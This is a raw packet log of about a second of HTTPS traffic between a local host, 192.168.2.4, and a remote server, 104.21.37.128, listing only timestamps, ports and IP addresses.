Dec 27, 2024 20:17:50.352747917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.352781057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.352791071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.360296011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.360341072 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.360363007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.360369921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.360390902 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.360403061 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.366712093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.366771936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.366791964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.366797924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.366822004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.366836071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.374134064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.374186039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.374208927 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.374216080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.374241114 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.374259949 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.381282091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.381329060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.381473064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.381491899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.381525993 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.388071060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.388093948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.388154030 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.388161898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.388195992 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.395452976 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.395476103 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.395533085 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.395540953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.395584106 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.402638912 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.402661085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.402725935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.402756929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.402945995 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.563962936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.564018965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.564090967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.564115047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.564142942 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.564158916 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.566926003 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.567003965 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.574280977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.574325085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.574373960 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.574383974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.574409962 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.574421883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.581468105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.581533909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.581562996 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.581568956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.581595898 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.581613064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.587944984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.587990999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.588027954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.588037014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.588068962 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.588078022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.595179081 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.595222950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.595254898 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.595262051 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.595282078 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.595300913 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.602008104 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.602060080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.602101088 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.602108955 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.602143049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.602154970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.609287977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.609332085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.609368086 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.609375954 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.609400988 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.609421015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.616656065 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.616695881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.616733074 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.616741896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.616766930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.616782904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.777110100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.777162075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.777304888 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.777317047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.777358055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.784465075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.784512043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.784545898 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.784552097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.784584999 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.784606934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.791837931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.791878939 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.791914940 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.791922092 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.791945934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.791961908 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.798209906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.798258066 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.798284054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.798290014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.798311949 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.798330069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.805531979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.805577040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.805608988 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.805614948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.805641890 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.805659056 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.812371016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.812416077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.812447071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.812453032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.812477112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.812489986 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.820451975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.820498943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.820525885 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.820532084 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.820557117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.820571899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.827045918 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.827095032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.827121973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.827127934 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.827155113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.827166080 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.988507986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.988555908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.988617897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.988675117 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.988689899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.988718033 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.995901108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.995940924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.995979071 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.995985985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:50.996010065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:50.996027946 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.003051996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.003077984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.003130913 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.003138065 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.003175020 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.010478973 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.010512114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.010579109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.010588884 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.010629892 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.016836882 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.016863108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.016916990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.016927004 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.016954899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.016968966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.023885965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.023914099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.023962975 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.023973942 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.024000883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.024014950 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.031272888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.031300068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.031363010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.031373978 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.031414032 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.038326025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.038350105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.038409948 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.038424015 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.038463116 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.199119091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.199155092 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.199229002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.199336052 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.199414015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.199414015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.206432104 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.206465006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.206523895 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.206547022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.206578970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.206598043 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.213620901 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.213666916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.213696003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.213704109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.213726997 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.213748932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.221070051 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.221091986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.221173048 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.221190929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.221244097 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.227498055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.227540016 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.227575064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.227581978 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.227610111 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.227629900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.234287024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.234307051 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.234368086 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.234376907 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.234421015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.241754055 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.241775036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.241846085 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.241858006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.241898060 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.248946905 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.248970985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.249051094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.249064922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.249104977 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.431396008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.431438923 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.431494951 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.431530952 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.431545973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.431572914 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.437654018 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.437676907 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.437745094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.437756062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.437797070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.444952011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.444977999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.445007086 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.445018053 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.445041895 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.445056915 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.452313900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.452334881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.452373028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.452392101 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.452404022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.452429056 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.458775043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.458796024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.458848953 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.458859921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.458888054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.458905935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.466604948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.466639042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.466670036 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.466676950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.466701984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.466713905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.472943068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.472973108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.473004103 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.473012924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.473038912 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.473052025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.480216980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.480254889 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.480282068 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.480293036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.480317116 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.480344057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.662945986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.662981033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.663074970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.663119078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.663163900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.669332981 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.669356108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.669425964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.669435024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.669466972 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.676707983 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.676728964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.676805019 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.676814079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.676851988 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.683898926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.683921099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.683981895 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.683989048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.684027910 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.690404892 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.690431118 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.690501928 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.690515995 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.690562010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.698169947 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.698191881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.698271036 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.698287010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.698335886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.704551935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.704574108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.704636097 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.704649925 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.704684973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.711967945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.711988926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.712063074 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.712078094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.712136030 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.891869068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.891905069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.891954899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.891974926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.891992092 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.892015934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.898227930 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.898260117 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.898298979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.898307085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.898327112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.898349047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.905531883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.905565023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.905607939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.905613899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.905642986 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.905649900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.912802935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.912827969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.912874937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.912883043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.912902117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.912919044 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:51.920145988 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.920169115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:51.920223951 CET	49746	443	192.168.2.4	104.21.37.128
